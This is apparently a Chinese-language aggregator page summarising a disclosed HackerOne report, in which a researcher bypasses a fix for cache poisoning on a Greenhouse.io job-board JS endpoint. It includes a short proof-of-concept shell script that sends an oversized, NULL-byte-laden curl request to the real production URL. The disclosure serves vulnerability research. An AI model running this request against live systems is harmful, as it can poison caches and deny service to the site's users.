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地图 / Bypass of request line length limit to DoS via cache poisoning

Bypass of request line length limit to DoS via cache poisoning

拒绝服务 / 资源消耗失控 / #350847

厂商
Greenhouse.io
严重程度
低危
赏金
—
弱点
资源消耗失控
研究员
@irvinlim
披露日期
2018-09-16
资产
boards.greenhouse.io
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(13833 字符中的一小部分)
This is a bypass of the fix that was introduced in response to report #334709. The bug in question was that it was possible to poison the cache of the generated JS file at https://boards.greenhouse.io/embed/job_board/js?for=surveymonkey, by appending a URL-encoded NULL byte (`%00`), followed by an …
原文中的代码
#!/bin/sh

REPEAT=992
ID=623145
curl --http1.1 -s "https://boards.greenhouse.io/embed/job_board/js?for=a%00`python -c 'print(\"♥\" * '$REPEAT')'`$ID" -v

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Greenhouse.io 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @irvinlim · 版权归作者与 Greenhouse.io 所有

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